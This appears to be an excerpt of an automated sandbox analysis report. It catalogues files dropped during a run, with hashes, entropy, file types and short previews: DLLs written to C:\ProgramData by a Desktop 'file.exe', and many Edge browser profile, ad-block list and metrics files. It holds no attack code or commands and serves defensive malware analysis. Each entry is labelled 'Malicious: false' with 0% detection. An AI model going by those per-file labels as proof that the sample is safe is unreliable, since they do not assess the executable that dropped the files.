Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0224c8a5-3e6a-452a-86cc-2bb4b0578f04.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45773
Entropy (8bit):	6.089123639526544
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgP9EpNuchDO6vP6OXZMbcrU9EpCFrqtECAoVGoup1Xl3jVzXrI:mMk1rT8Hv9Ea6A/RoVhu3VlXr4f
MD5:	6BA16A3FF2C3A46696C54A73DD56AA1F
SHA1:	B0D2CC76443E3752A77467FF50898903A75FF379
SHA-256:	BECE6CB33F14BE9EE8BCD5DEA3BDF134BBD748D6CC1E63E92140D1E5C39657EE
SHA-512:	0A821659437D89A6F8D07545F0D064CC6D532154EC6BC6FE55799B76E59D442F0ED66E39170F2A108588887705D3BDDEDBD76CC3926C9AB6744566B7FCAEC20B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3e4b0cee-4376-4986-ab70-2984b01746f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45773
Entropy (8bit):	6.089125474136611
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgPoEpNuchDO6vP6OXZMbcrU9EpCFrqtECAoVGoup1Xl3jVzXrI:mMk1rT8HvoEa6A/RoVhu3VlXr4f
MD5:	082D9799619CBB5D6A6983CA4DB4C2DE
SHA1:	F5D5EF2574EBE298564321325307B1FA1089B04E
SHA-256:	C203190D9977B44C9C834D640B3644CA755F1A7CE6E4F705CEB7F1944A018061
SHA-512:	11D98AC89821B198C4F40BA47CFC0925A3288C99975978067942152CF20715DF7B46BB742346E05027448804BFE96E61F25E34F6CEA72AEC70070A2C5FC12246
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\98e092b2-025b-4b02-89e8-6826dd68155f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45649
Entropy (8bit):	6.089405166931372
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9EfNuchDO6vP6OXlMbcrU9EpCFrqtECAoVGoup1Xl3jVzXrI:mMk1rT8HR9EY6U/RoVhu3VlXr4f
MD5:	D39329065E06097C85B3EF860A9FA22C
SHA1:	215695A627540F437C230FA9BDDC2251CEA93A33
SHA-256:	DD08CA3822A81C41D15DDDB6F419065054AA16DE087431B3331BE6D67B3AD084
SHA-512:	9C18D8BEE30A80300633A2995BB573191536F450D92F10652ED60A5941709E1FDB5087D203D6849EBB3DA93C0B737193C5B27A409780B98E21D3C01C484F7C13
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\18bb892f-cef1-48fa-88ca-bdbea0f1114e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132142787195
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P75:fwUQC5VwBIiElEd2K57P75
MD5:	8A8D1DEF9454FAD85BE45955088388B3
SHA1:	DAC7F47706D3DCEDBCE567536B51BE314DC5FD33
SHA-256:	740558A371E809FCF6F4EB7F5DCA3F2766E27FCAD5E4DA04D13A181760E16312
SHA-512:	8D2A8819C57B74037422D8B725B5A061C728CB3B66C14ACB1955A2AB0E03403403B1692595CE3EBB488EFB7685C88CDAE3CD7890344353E2EFB3E5496D670EB5
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6739D4FB-1F44.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4448638161438662
Encrypted:	false
SSDEEP:	3072:Lu2/D0oINQoHDSLXMcCKq89nletK/V6CDqDyCXNieuRkg1HFA:R/DCjSLXBCKq8/L1DqDyCXNiexaHa
MD5:	1BA12878E6674F387262266118007DFF
SHA1:	7EA298239F4294DC93F656CB2F015C7A3765B6AA
SHA-256:	37CB4388AE0F1228F9E9B6956EE345D686A533933DE4BEA3630B53578D5D2302
SHA-512:	FA245CE46BDE87AC973990BA1410DCF39432405FE3CF2663D2E8ABC08000780F136A369BDB83CBAA7E940A443932ECCAAD49983B1899543FA150DF3B812191C3
Malicious:	false
Preview:	...@..@...@.....C.].....@...............0...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lkjvhn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\023180d5-7cbf-4b0f-bb3e-011013828ffd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.560934828532861
Encrypted:	false
SSDEEP:	768:3Jkifc7pLGLpRrWP1xfH58F1+UoAYDCx9Tuqh0VfUC9xbog/OVwxZiv+Prwf0ieP:3JkifAcpRrWP1xfH5u1ja9xZ6+8f0ibK
MD5:	E348B7AF0CEABE2FD23726C7247B847D
SHA1:	4D4D1E78F3286F325E042DC6295DC66597F2E2F4
SHA-256:	4E4D4FB52BE0147810D7D53B2BAD8C74F2C6A0289143171786904026F1F03C5F
SHA-512:	B9A8ABED8C54FAF83BFA8F16B06A640C8F54CECCEDF8E1D6F0AB50F5DEA6943539423E664362CD2AF3CB9BB16D8C78B0D1D9442CBB54B0429CB93D9E78174111
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376316924315857","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376316924315857","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\11fd9a40-395a-49a6-936b-31daff39f441.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16681), with no line terminators
Category:	dropped
Size (bytes):	16682
Entropy (8bit):	5.448570164895221
Encrypted:	false
SSDEEP:	384:st+PGQSu4JsAnfhUkl14kn8bGIQw46WoaTYv:s4OXu+nfqkabGXL0aTYv
MD5:	8B77BEA580B4963A5A9341002CC7B22C
SHA1:	EEBA51AC2167B86E17F1F19D90EF298DB72091C3
SHA-256:	5AB06A852B3410C27301F8EAFE6E7839473232B47AE81F9514C2CFC3A7C07363
SHA-512:	D730E64AED2E71FC703F63C68D4ED92576AFD41950192D31D67DA5C9DE8A48D7E45A2A8A1AE59A49F6A536183B5AF8C3CCF1927674DD32BE99D9AB05138EDDE0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\23bbd61d-f0b1-4ea9-bdd3-cfcce8446db6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35113
Entropy (8bit):	5.555694285218876
Encrypted:	false
SSDEEP:	768:3JkiRrWP1xfw58F1+UoAYDCx9Tuqh0VfUC9xbog/OVsiv+Prwf0cmqKpEtus:3JkiRrWP1xfw5u1jad6+8f0cjJtH
MD5:	AFB2557ACC3953E0D1D9288A152D1665
SHA1:	BB1838AD05E88B01B8E9C8A1F5201423E4827897
SHA-256:	D2AF30ABE98CAEF3D7F4CC36FDAAEDE71DC60E24A575C03BBEB9742BC0689EC7
SHA-512:	8BCC99EB743728D0A174C194E968183B82518111720878E3CE128988884951F9119FAE514E5B686BA573AD17074C3B998B26F3B446502111AAAC992F939B6935
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376316924315857","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376316924315857","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\56539456-bb9d-49c4-8eb1-5931559a4206.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12488
Entropy (8bit):	5.205468443677258
Encrypted:	false
SSDEEP:	192:st+J99QTryDigabatSuypJsAnsZihUkULEC8WbV+F34QA66WoaFIMYcP9YJ:st+PGKSu4JsAnfhKbGIQx6WoaTYv
MD5:	E4F6CB2F5983661D78DE4BF418C577DF
SHA1:	C02F3F3A264D29BF66DFEE5EAF94280CEB964679
SHA-256:	E19F62104913D33BD466E297437A6BFE286C794FA5D27060E83E90CEF7D1ACD1
SHA-512:	C2D4A5EF910E574F5B5D0BE9C50981BC25359A9E9A5CD49CD8930E6DB5056A979F6032F3AD1854EE2EE2519CD69042598645AD08607E0A7952190578C22872FA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376316924902331","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\75f123a7-4f71-4ef0-b218-775527fb1f72.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\86768de1-8cfb-43ed-a58a-c75804f1798e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17274), with no line terminators
Category:	dropped
Size (bytes):	17275
Entropy (8bit):	5.490066958510218
Encrypted:	false
SSDEEP:	384:st+PGQSu4JsAnfhwGkl14kn8bGIQw46WBaTYv:s4OXu+nf/kabGXLlaTYv
MD5:	D49730EEC9431969CCC8A3D7FDC5F285
SHA1:	3A97C96825F960A9314ED24C5535B0C7CA862F19
SHA-256:	E2FF876AF12D0616B75340E9F8C3531D363B356106C48E063E8242BB7DB620BE
SHA-512:	56BAD9A31336328EBBF415FB594885C84B2601950FD6CF5462685DD53836971422A759B0CA846D623CAA2D0D9CFCFEE6F3501B115BF46EB95663705371FF1301
Malicious:	false
